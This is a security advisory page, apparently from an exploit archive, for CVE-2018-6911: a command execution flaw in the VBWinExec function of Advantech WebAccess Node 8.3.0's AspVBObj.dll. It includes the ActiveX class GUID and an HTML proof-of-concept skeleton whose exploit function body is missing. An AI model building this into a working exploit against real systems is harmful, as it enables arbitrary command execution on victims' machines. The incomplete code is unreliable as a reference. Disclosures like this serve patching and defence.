Advantech WebAccess Node 8.3.0 DLL Hijacking

Advantech WebAccess Node version 8.3.0 suffers from an AspVBObj.dll code execution dll hijacking vulnerability.

MD5 | d399329ffa7fecc776e24fe1316f6ea9

Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir

Contact: [email protected] /

CVE: CVE-2018-6911

Tested on: IE11 / Win10

Technical Details:

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
ByRef command As String


<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>


function exploit()



<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>

Related Posts